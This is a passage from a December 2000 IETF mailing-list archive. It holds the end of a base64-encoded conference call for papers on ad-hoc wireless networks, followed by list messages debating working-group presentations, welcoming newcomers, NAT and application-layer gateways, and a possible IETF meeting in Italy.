VG9oPEJSPiZuYnNwO0VsZWN0cmljYWwgJmFtcDsgQ29tcHV0ZXIgDQpFbmdpbmVlcmluZyw8QlI+ Jm5ic3A7R2VvcmdpYSBJbnN0aXR1dGUgb2YgVGVjaG5vbG9neTxCUj4mbmJzcDtGYXg6IDQwNC04 OTQtNzQ2OCANCkUtbWFpbDo8QlI+Jm5ic3A7PEEgDQpocmVmPSJtYWlsdG86Y2t0b2hAZWNlLmdh dGVjaC5lZHUiPmNrdG9oQGVjZS5nYXRlY2guZWR1PC9BPjxCUj48QlI+SUVFRSBDb21zb2MgDQpM aWFzb248QlI+PEJSPiZuYnNwO0dheWxlIFdlaXNtYW48QlI+Jm5ic3A7SUVFRSBDb21tdW5pY2F0 aW9ucyBTb2NpZXR5IA0KPEJSPjxCUj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxCUj5BYm91dCANCklFRUUgDQpTQVdOMjAwMTxC Uj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLTxCUj5UaGUgDQpJRUVFIFN5bXBvc2l1bSBvbiBBZC1Ib2MgV2lyZWxlc3MgTmV0d29y a3MgKFNBV04yMDAxKSBpcyBhIDxCUj5uZXcgYW5kICpoaWdoIA0KcXVhbGl0eSogdGVjaG5pY2Fs IG1lZXRpbmcgKHRvIGJlIGhlbGQgYXMgcGFydCBvZiA8QlI+R0xPQkVDT00gMjAwMSkgZm9yIA0K cmVzZWFyY2hlcnMgdG8gcHJlc2VudCB0aGVpciBsYXRlc3QgcmVzZWFyY2ggPEJSPndvcmsgcmVs YXRlZCB0byB0aGUgZmFzdCANCmV2b2x2aW5nIGZpZWxkIG9mIGFkIGhvYyAobXVsdGlob3AsPEJS PmFkYXB0aXZlLCBhbmQgc2VsZi1vcmdhbml6aW5nKSB3aXJlbGVzcyANCm5ldHdvcmtzIGFuZCBw ZXJ2YXNpdmU8QlI+Y29tbXVuaWNhdGlvbnMuIFN1Y2ggbmV0d29ya3MgY291bGQgaGF2ZSBzdHJv bmcgDQpwb3RlbnRpYWwgaW1wYWN0IDxCUj5vbiBvdXIgZGFpbHkgbGl2ZXMgKGZvciBleGFtcGxl IGF0IGhvbWUgYW5kIG9uLXRoZS1yb2FkKSANCmFuZCB0aGUgPEJSPndheSB3ZSB3b3JrLiBUaGV5 IGFyZSBhbHNvIHBhcnRpY3VsYXJseSBhdHRyYWN0aXZlIGZvciBtaWxpdGFyeSANCjxCUj5hbmQg ZW1lcmdlbmN5IG9wZXJhdGlvbnMgZHVlIHRvIHRoZWlyIGZhc3QgZGVwbG95YWJsZSBhbmQgDQo8 QlI+c2VsZi1vcmdhbml6aW5nIGNoYXJhY3RlcmlzdGljcy4gRnV0dXJlIGFkIGhvYyBuZXR3b3Jr cyBhcmUgYWxzbzxCUj5jYXBhYmxlIA0Kb2Ygc3VwcG9ydGluZyBtdWx0aW1lZGlhLiBIaWdoIHF1 YWxpdHkgcGFwZXJzIGFyZSBpbnZpdGVkIDxCUj5mcm9tIHJlc2VhcmNoZXJzIA0KaW4gYWNhZGVt aWEgYW5kIGluZHVzdHJpZXMgd2hvIGFyZSBpbnZvbHZlZCBpbiA8QlI+dGhpcyBhcmVhIG9mIHdv cmsuIA0KPEJSPjxCUj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxCUj5Ub3BpY3MgDQpvZiBJbnRlcmVzdCBJbmNsdWRlIChi dXQgbm90IGFyZSBsaW1pdGVkIHRvKTo8QlI+PEJSPi0gQWQgSG9jIFJvdXRpbmcgDQpQcm90b2Nv bHMvQWxnb3JpdGhtcyA8QlI+LSBBZCBIb2MgVHJhbnNwb3J0IElzc3VlcyA8QlI+LSBNZWRpYSBB Y2Nlc3MgDQpUZWNobmlxdWVzL1Byb3RvY29sczxCUj4tIFNlbnNvciAmYW1wOyBEYXRhIEZ1c2lv biBBZCBIb2MgTmV0d29ya3M8QlI+LSBBZCBob2MgDQpuZXR3b3JrIGFyY2hpdGVjdHVyZXMgPEJS Pi0gRXJyb3IgJmFtcDsgTGluayBDb250cm9sIFRlY25pcXVlczxCUj4tIEFjY2VzcyAmYW1wOyAN ClNlc3Npb24gU3VwcG9ydCA8QlI+LSBBZCBIb2MgTXVsdGljYXN0aW5nIFByb3RvY29scy9BbGdv cml0aG1zIDxCUj4tIFNlcnZpY2UgDQpEaXNjb3ZlcnkgQWxnb3JpdGhtcyA8QlI+LSBMb3cgUG93 ZXIgQWxnb3JpdGhtcyBhbmQgUHJvdG9jb2xzIDxCUj4tIFF1YWxpdHkgb2YgDQpTZXJ2aWNlIElz c3VlcyA8QlI+LSBNb2JpbGUgSVAgd2l0aCBBZCBIb2MgPEJSPi0gUGVyZm9ybWFuY2Ugb2YgQmx1 ZXRvb3RoIA0KTmV0d29ya3MgPEJSPi0gSW50ZWdyYXRpb24gDQpJc3N1ZXM8QlI+PEJSPi0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08 QlI+SW5zdHJ1Y3Rpb25zIA0KZm9yIEF1dGhvcnM8QlI+PEJSPlRlY2huaWNhbCBwYXBlcnMgc2hv dWxkIGJlIHN1Ym1pdHRlZCB0byB0aGUgR2xvYmVjb20gDQpDb21taXR0ZWUgPEJSPmZvbGxvd2lu ZyB0aGUgZ2VuZXJhbCBHbG9iZWNvbSBzdWJtaXNzaW9uIHByb2Nlc3MgYW5kIGluc3RydWN0aW9u cyANCjxCUj4oQVVUSE9SIEtJVCkuIEluIG9yZGVyIHRvIGVuc3VyZSB0aGF0IHlvdXIgcGFwZXIg aXMgcHJvcGVybHk8QlI+cm91dGVkIHRvIA0KdGhpcyBTeW1wb3NpdW0sIGl0IGlzIFZFUlkgSU1Q T1JUQU5UIHRoYXQgeW91IGV4cGxpY2l0bHk8QlI+aWRlbnRpZnkgU3ltcG9zaXVtIA0Kb24gQWQg SG9jIFdpcmVsZXNzIE5ldHdvcmtzIGFzIHRoZSBpbnRlbmRlZCA8QlI+c3ltcG9zaXVtIHRvIHdo aWNoIHlvdSBhcmUgDQpzdWJtaXR0aW5nIHRoZSBwYXBlci4gRmFpbHVyZSB0byBkbzxCUj5zbyBt YXkgcmVzdWx0IGluIHlvdXIgcGFwZXIgYmVpbmcgDQpmb3J3YXJkZWQgdG8gYW5vdGhlciBzeW1w b3NpdW0uIDxCUj5BbGwgc3VibWlzc2lvbnMgYXJlIGRvbmUgZWxlY3Ryb25pY2FsbHkuIA0KU3Vi bWlzc2lvbiBkZWFkbGluZSBpczxCUj4zMXN0IE1hcmNoIDIwMDEuIDxCUj48QlI+QWNjZXB0ZWQg cGFwZXJzIHdpbGwgYmUgDQpwdWJsaXNoZWQgaW4gdGhlIElFRUUgR0xPQkVDT00gcHJvY2VlZGlu Z3MuPEJSPkFsbCBpbnF1aXJlcyBzaG91bGQgYmUgZGlyZWN0ZWQgDQp0byB0aGUgc3ltcG9zaXVt IGNoYWlybWFuIGF0PEJSPjxBIA0KaHJlZj0ibWFpbHRvOmNrdG9oQGVjZS5nYXRlY2guZWR1Ij5j a3RvaEBlY2UuZ2F0ZWNoLmVkdTwvQT48QlI+PEJSPi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08QlI+SW50ZXJuYXRpb25hbCAN ClRlY2huaWNhbCBQcm9ncmFtIENvbW1pdHRlZTxCUj48QlI+RHIuIFBlaXlpbmcgWmh1LCBOT1JU RUwgTmV0d29ya3M8QlI+RHIuIA0KQmFzc2FtIEhhc2hlbSwgTk9SVEVMIE5ldHdvcmtzPEJSPkRy LiBZaWxlIEd1bywgTk9LSUEgVVNBPEJSPkRyLiBFcmljIEZsZXVyeSwgDQpJTlJJQSwgRnJhbmNl PEJSPlByb2YuIEFuZHJlIFNjaGFmZiwgVSBvZiBIZW5yeSBQb2luY2FyZSBOYW5jeSAxLCANCkZy YW5jZTxCUj5Qcm9mLiBKZWFuLVl2ZXMtTGUtQm91ZGVjLCBFUEZMLCBTd2l0emVybGFuZDxCUj5Q cm9mLiBBZGFtIFdvbGlzeiwgVFUgDQpCZXJsaW4sIEdlcm1hbnk8QlI+UHJvZi4gSC4gVC4gTW91 ZnRhaCwgUXVlZW5zIFVuaXZlcnNpdHksIENhbmFkYTxCUj5Qcm9mLiANClZpY3RvciBPLiBLLiBM aSwgVW5pdmVyc2l0eSBvZiBIb25nIEtvbmc8QlI+UHJvZi4gSy1DIENoZW4sIE5hdGlvbmFsIFRh aXdhbiANClVuaXZlcnNpdHksIFRhaXdhbjxCUj5TeWVkIEFrYmFyLCBUUlcsIFVTQTxCUj5Eci4g S2VubmV0aCBCYXllciwgTUlUUkUgDQpDb3Jwb3JhdGlvbiwgVVNBPEJSPkRyLiBIb3dhcmQgTGVt YmVyZywgVGVsY29yZGlhIFRlY2hub2xvZ2llcywgVVNBPEJSPlByb2YuIA0KS3JpcyBQaXN0ZXIs IFVuaXZlcnNpdHkgb2YgQ2FsaWZvcm5pYSBCZXJrZWxleTxCUj5Qcm9mLiBDLUsuIFRvaCwgR2Vv cmdpYSBUZWNoLCANClVTQTxCUj5Qcm9mLiBBaG1lZCBIZWxteSwgVW5pdmVyc2l0eSBvZiBTb3V0 aGVybiBDYWxpZm9ybmlhLDxCUj5Eb25na3l1biBLaW0sIA0KU2VvdWwgTmF0aW9uYWwgVW5pdmVy c2l0eSwgS29yZWEgPEJSPkRyLiBOYWRlciBNb2F5ZXJpLCBOYXRpb25hbCBJbnN0aXR1dGUgb2Yg DQpTdGFuZGFyZCAmYW1wOyBUZWNobm9sb2d5IDxCUj5Qcm9mLiBDaHJpc3RpYW4gQm9ubmV0LCBF VVJFQ09NLCBGcmFuY2UgDQo8QlI+PEJSPi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPEJSPldlYiANClNpdGU6PEJSPjxCUj48QSAN CmhyZWY9Imh0dHA6Ly93d3cuZ2xvYmVjb20yMDAxLmNvbSI+aHR0cDovL3d3dy5nbG9iZWNvbTIw MDEuY29tPC9BPjxCUj48QSANCmhyZWY9Imh0dHA6Ly91c2Vycy5lY2UuZ2F0ZWNoLmVkdTo4MC9+ Y2t0b2gvc2F3bi9zYXduMDEuaHRtbCI+aHR0cDovL3VzZXJzLmVjZS5nYXRlY2guZWR1OjgwL35j a3RvaC9zYXduL3Nhd24wMS5odG1sPC9BPjxCUj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxCUj48QlI+PC9ESVY+PC9GT05UPjwv Qk9EWT48L0hUTUw+DQo= ------=_NextPart_000_0072_01C06B4F.951F0380-- From owner-ietf-outbound Thu Dec 21 00:00:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA26415 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 00:00:04 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA26322 for ; Wed, 20 Dec 2000 23:52:59 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBL4r0CW226090; Wed, 20 Dec 2000 23:53:01 -0500 Message-Id: <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> To: Pete Resnick cc: ietf@ietf.org Subject: Re: IETF logistics In-reply-to: Your message of "Wed, 20 Dec 2000 14:41:43 CST." X-URL: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <14911.38185.69675.522594@localhost.localdomain> <5.0.2.1.2.20001220090714.03b1dec0@joy.songbird.com> Date: Wed, 20 Dec 2000 23:53:00 -0500 X-Loop: ietf@ietf.org On Wed, 20 Dec 2000 14:41:43 CST, Pete Resnick said: > Nonsense. Leaving aside BOFs (which I do think are different), I defy > you to give me one example where a presentation is the right thing to > do in a WG face-to-face meeting. Presentations can either be done in > written form (on the mailing list or by way of an Internet Draft) or > can be saved for some other venue (like Comdex). Working Groups > *work*. What justification is there for *ever* giving a presentation > in a WG face-to-face meeting? Hmm... not being a WG attendee I hate to ask, but.. ;) I assume that by "Presentations", you mean "tutorial presentations", and not "Gee George, your proposal on the mailing list looks novel and interesting, but we're not getting it, could you take 10 mins in the WG meeting and explain it more fully" presentations? I know that there's been many times on WG mailing lists that I've been unsure whether (a) I was an idiot for not understanding a proposal, or (b) the proposal itself was a bad idea, or (c) the proposal was a good idea being lost in the translation to ones and zeros for transmission over the wires. And in retrospect, I've seen my share of all 3. ;) Valdis Kletnieks Operating Systems Analyst Virginia Tech From owner-ietf-outbound Thu Dec 21 00:10:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA26552 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 00:10:04 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA26504 for ; Thu, 21 Dec 2000 00:03:43 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBL53fCW214400; Thu, 21 Dec 2000 00:03:41 -0500 Message-Id: <200012210503.eBL53fCW214400@black-ice.cc.vt.edu> To: Bill Manning cc: ietf@ietf.org Subject: Re: Welcoming newcomers In-reply-to: Your message of "Wed, 20 Dec 2000 16:54:18 PST." <200012210054.eBL0sIJ20827@zed.isi.edu> X-URL: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Date: Thu, 21 Dec 2000 00:03:41 -0500 X-Loop: ietf@ietf.org On Wed, 20 Dec 2000 16:54:18 PST, Bill Manning said: > < I am trying to decide the extent to which I wish to become involved > area. So far I have had the area director hiss at me when I > meeting and been told that certain > area? (No need to name names - there's ENOUGH dominant companies that have done stupid things to go around). I could certainly see an AD hissing if a newcomer was perceived as having been sent by a company to perpetrate more foolishness upon the networking community. It wouldn't JUSTIFY it, but AD's are human too. ;) b) Was the "certain solution" one of the things that we've already beaten into the ground, *know* is a bad idea, but it keeps popping up again anyhow? Again, no need to name names - there's ENOUGH bad ideas that keep resurfacing. I'm sure *everybody* has their favorite "Oh no, not THAT idea again!" topic that comes up every 9-18 months on the IETF list. ;) Valdis Kletnieks Operating Systems Analyst Virginia Tech From owner-ietf-outbound Thu Dec 21 00:40:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA29169 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 00:40:03 -0500 (EST) Received: from smta-hub-6.CGNET.COM (208-224.cgnet.com [198.93.224.208]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA29106 for ; Thu, 21 Dec 2000 00:37:30 -0500 (EST) Received: from smta-hub-3.CGNET.COM ([198.93.224.235]) by smta-hub-6.cgnet.com (PMDF V6.0-24 #46896) with ESMTP id <0G5W006LWKUVIG@smta-hub-6.cgnet.com> for ietf@ietf.org; Wed, 20 Dec 2000 21:35:19 -0800 (PST) Received: from noccgiarx4.CGNET.COM ([198.93.224.76]) by smta-hub-3.cgnet.com (PMDF V6.0-24 #46897) with SMTP id <0G5W00MGJKUVHS@smta-hub-3.cgnet.com>; Wed, 20 Dec 2000 21:35:19 -0800 (PST) Received: from 198.93.224.76 by noccgiarx4.CGNET.COM (InterScan E-Mail VirusWall NT); Wed, 20 Dec 2000 21:34:35 -0800 (Pacific Standard Time) Received: by NOCCGIARX4 with Internet Mail Service (5.5.2650.21) id ; Wed, 20 Dec 2000 21:34:35 -0800 Date: Wed, 20 Dec 2000 21:34:46 -0800 From: "Durah, Kheder" Subject: RE: Ietf meeting in Italy? To: Roberto Ciacci , alessio porcacchia Cc: Dave Robinson , ietf@ietf.org Message-id: MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain X-Loop: ietf@ietf.org Interesting meeting, any idea of the agenda? RGDS Kheder Durah, Ph.D. -----Original Message----- From: Roberto Ciacci [mailto:r.ciacci@cineca.it] Sent: Wednesday, December 20, 2000 1:56 PM To: alessio porcacchia Cc: Dave Robinson; ietf@ietf.org Subject: Re: Ietf meeting in Italy? Hi everybody it would be a great event! Who manages IETF meetings planning? Ciao Roberto alessio porcacchia wrote: > > Dear Collegues and Friends, > When the Ietf must decide to prepare a meeting in Italy > I hope that see all of you "de visu" for talk to my "tech friends" > Ciao Alessio > Sys Adim > Rome Italy -- +--------------------------------------------------------------------------- --+ Roberto Ciacci C I N E C A InterUniversity Consortium for SuperComputing Communication and Distributed System Group via Magnanelli, 6/3 - 40033 Casalecchio di Reno (Bologna) - Italy e-mail: r.ciacci@cineca.it voice: +39 051 6171435 fax: +39 051 6171521 +--------------------------------------------------------------------------- --+ "An investment in knowledge always pays the best interest." B. Franklin From owner-ietf-outbound Thu Dec 21 01:00:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA29441 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 01:00:02 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA29321 for ; Thu, 21 Dec 2000 00:51:42 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 148yde-0002wC-00; Wed, 20 Dec 2000 21:51:38 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Valdis.Kletnieks@vt.edu Cc: Bill Manning , ietf@ietf.org Subject: Re: Welcoming newcomers References: <200012210054.eBL0sIJ20827@zed.isi.edu> <200012210503.eBL53fCW214400@black-ice.cc.vt.edu> Message-Id: Date: Wed, 20 Dec 2000 21:51:38 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > a) Was the AD hissing because the newcomer's company has made a well- > financed but technically broken attempt to be an 800-pound gorilla in the > area? actually, it was not the AD, but the co-chair. and it was in the midst of a bunch of other humorous moments in the wg. and yes indeed, an 800-ton gorilla with a bad technical scam and a global bad rep for it and an attitude to go with. randy From owner-ietf-outbound Thu Dec 21 02:20:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA12956 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 02:20:02 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA12749 for ; Thu, 21 Dec 2000 02:13:21 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBL6Dhw21123; Wed, 20 Dec 2000 22:13:43 -0800 From: Bill Manning Message-Id: <200012210613.eBL6Dhw21123@zed.isi.edu> Subject: Re: Welcoming newcomers To: Valdis.Kletnieks@vt.edu Date: Wed, 20 Dec 2000 22:13:43 -0800 (PST) Cc: ietf@ietf.org In-Reply-To: <200012210503.eBL53fCW214400@black-ice.cc.vt.edu> from "Valdis.Kletnieks@vt.edu" at Dec 21, 2000 12:03:41 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % Bill: Could you clarify 2 things, if you know the answers to either? % % Valdis Kletnieks I was not present so I could not clarify. It does seem pretty clear that these days, "bad-ideas" are often floated and experimented with in other venues and only after vetting are brought to the IETF for standards approval/rubber stamping. It used to be that the IETF was the venue for exploring "bad-ideas". PreIETF oldtimers have noted that what was a bad idea a decade ago may be todays breakthrough. Hence tossing an idea once should not relegate it to limbo in perpetuity. (see John Klensins concept of using DNS classes. Last decade, a bad idea... now, a plausable avenue of exploration!) -- --bill From owner-ietf-outbound Thu Dec 21 04:20:52 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA13827 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 04:20:02 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA13712 for ; Thu, 21 Dec 2000 04:12:40 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id KAA23085; Thu, 21 Dec 2000 10:12:17 +0100 Message-Id: <4.3.2.7.2.20001221101056.03b50ee8@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 21 Dec 2000 10:11:45 +0100 To: Mike Fisk , "Theodore Y. Ts'o" From: Harald Alvestrand Subject: Re: NATs *ARE* evil! Cc: iab@ISI.EDU, ietf@ietf.org In-Reply-To: References: <200012190608.BAA02165@tsx-prime.MIT.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 09:47 19/12/2000 -0800, Mike Fisk wrote: >It's an argument of semantics, but I prefer to say that we're separating >transport-layer end-to-end from application-layer end-to-end. Make >applications explicitly terminate transport connections at gateways. So >what is now a connection from me to you across a NAT and a proxy-ing >firewall would be come a session-layer connection from me to you served by >transport connections from me to the NAT, from the NAT to the proxy, and >from the proxy to you. these are called "application layer gateways", and exist in droves already. Most firewalls implement them, in addition to NAT and packet filters. -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Thu Dec 21 04:50:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA14014 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 04:50:03 -0500 (EST) Received: from munnari.OZ.AU (munnari.OZ.AU [128.250.1.21]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA13991 for ; Thu, 21 Dec 2000 04:48:28 -0500 (EST) Received: from mundamutti.cs.mu.OZ.AU ([128.250.1.5]) by munnari.OZ.AU with SMTP (5.83--+1.3.1+0.59) id JA03385; Thu, 21 Dec 2000 20:48:14 +1100 (from kre@munnari.OZ.AU) From: Robert Elz To: Valdis.Kletnieks@vt.edu Cc: Pete Resnick , ietf@ietf.org Subject: Re: IETF logistics In-Reply-To: Your message of "Wed, 20 Dec 2000 23:53:00 CDT." <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 21 Dec 2000 20:48:13 +1100 Message-Id: <17216.977392093@mundamutti.cs.mu.OZ.AU> X-Loop: ietf@ietf.org Date: Wed, 20 Dec 2000 23:53:00 -0500 From: Valdis.Kletnieks@vt.edu Message-ID: <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> | I assume that by "Presentations", you mean "tutorial presentations", | and not "Gee George, your proposal on the mailing list looks novel | and interesting, but we're not getting it, could you take 10 mins | in the WG meeting and explain it more fully" presentations? I suspect that Pete actually meant both, while often both are inappropriate there are times when the second form are useful to have. Perhaps not when just one or two people make that request - that's better handled by a private chat outside the WG meeting, but when many people in a WG have read the proposal (this almost only ever happens with new proposals), and yet still fail to understand it, then it can sometimes be useful to have its proponent(s) spend a little time explaining the idea in a forum where they can be interrupted when what they're saying isn't clear (that's an important part of actually getting the understanding - simply going back and telling them "we don't understand the draft, rewrite it" doesn't usually help). So sometimes, though only very occasionally, presentations are useful. kre From owner-ietf-outbound Thu Dec 21 06:20:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id GAA14764 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 06:20:04 -0500 (EST) Received: from sky.irisa.fr (sky.irisa.fr [131.254.60.147]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA14713 for ; Thu, 21 Dec 2000 06:14:40 -0500 (EST) Received: from irisa.fr (rocha.irisa.fr [131.254.13.52]) by sky.irisa.fr (8.9.3/8.9.3) with ESMTP id MAA13670 for ; Thu, 21 Dec 2000 12:14:40 +0100 (MET) Message-ID: <3A41E620.65762778@irisa.fr> Date: Thu, 21 Dec 2000 12:14:40 +0100 From: Ali Boudani Organization: INRIA - RENNES X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en, fr MIME-Version: 1.0 To: ietf@ietf.org Subject: juste test please discard Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit juste test please discard From owner-ietf-outbound Thu Dec 21 07:30:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA15802 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 07:30:02 -0500 (EST) Received: from A4.JCK.COM (ns.jck.com [209.187.148.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA15705 for ; Thu, 21 Dec 2000 07:26:35 -0500 (EST) Received: from P2 ("port 1626"@[209.187.148.217]) by a4.jck.com (PMDF V6.0-23 #44844) with ESMTP id <0G5X002KZ3UZB6@a4.jck.com> for ietf@ietf.org; Thu, 21 Dec 2000 07:25:47 -0500 (EST) Date: Thu, 21 Dec 2000 07:25:46 -0500 From: John C Klensin Subject: Re: IETF logistics In-reply-to: <17216.977392093@mundamutti.cs.mu.OZ.AU> To: Robert Elz Cc: ietf@ietf.org Message-id: <2425970488.977383546@P2> MIME-version: 1.0 X-Mailer: Mulberry/2.0.5 (Win32) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-disposition: inline Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit --On Thursday, 21 December, 2000 20:48 +1100 Robert Elz wrote: > I suspect that Pete actually meant both, while often both are > inappropriate there are times when the second form are useful > to have. Perhaps not when just one or two people make that > request - that's better handled by a private chat outside the > WG meeting, but when many people in a WG have read the > proposal (this almost only ever happens with new proposals), > and yet still fail to understand it, then it can sometimes be > useful to have its proponent(s) spend a little time explaining > the idea in a forum where they can be interrupted when what > they're saying isn't clear (that's an important part of > actually getting the understanding - simply going back and > telling them "we don't understand the draft, rewrite it" > doesn't usually help). In particular, much as I hate the idea, we've occasionally had I-Ds posted that are so confusing and badly written (at least in English) that it is impossible to detect the basic technical wisdom or flaws in the design. But it would seem to me that this would fall within Pete's rule, given some considerable discretion and flexibility for and by the WG Chair. E.g., "this might be important, but what on earth is he talking about" could easily be an issue within the range of issues that Pete suggests. And that might, in turn, call for a controlled and focused presentation of sorts. I don't see a problem as long as we don't take a general guideline and turn it into a specific rule that we try to enforce rigidly. And the progression from "guideline and discretion" to "rigid and enforced rule" is almost always a problem (necessary occasionally, but, even then, problematic). john From owner-ietf-outbound Thu Dec 21 07:40:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA16017 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 07:40:03 -0500 (EST) Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA15967 for ; Thu, 21 Dec 2000 07:37:14 -0500 (EST) Received: from postal.research.att.com (postal.research.att.com [135.207.23.30]) by mail-blue.research.att.com (Postfix) with ESMTP id 977C54CE01; Thu, 21 Dec 2000 07:37:15 -0500 (EST) Received: from smb.research.att.com (postal.research.att.com [135.207.23.30]) by postal.research.att.com (8.8.7/8.8.7) with ESMTP id HAA06987; Thu, 21 Dec 2000 07:37:09 -0500 (EST) Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1]) by smb.research.att.com (Postfix) with ESMTP id 8D30235DC2; Thu, 21 Dec 2000 07:37:08 -0500 (EST) X-Mailer: exmh version 2.2 06/23/2000 with version: MH 6.8.3 #1[UCI] From: "Steven M. Bellovin" To: "Durah, Kheder" Cc: Roberto Ciacci , alessio porcacchia , Dave Robinson , ietf@ietf.org Subject: Re: Ietf meeting in Italy? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 21 Dec 2000 07:37:00 -0500 Sender: smb@research.att.com Message-Id: <20001221123708.8D30235DC2@smb.research.att.com> X-Loop: ietf@ietf.org A meeting can happen in Italy -- or elsewhere -- if there's a local gropu interested in hosting it. Contact Steve Coya if you're contemplating it. --Steve Bellovin From owner-ietf-outbound Thu Dec 21 08:30:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA18134 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 08:30:02 -0500 (EST) Received: from 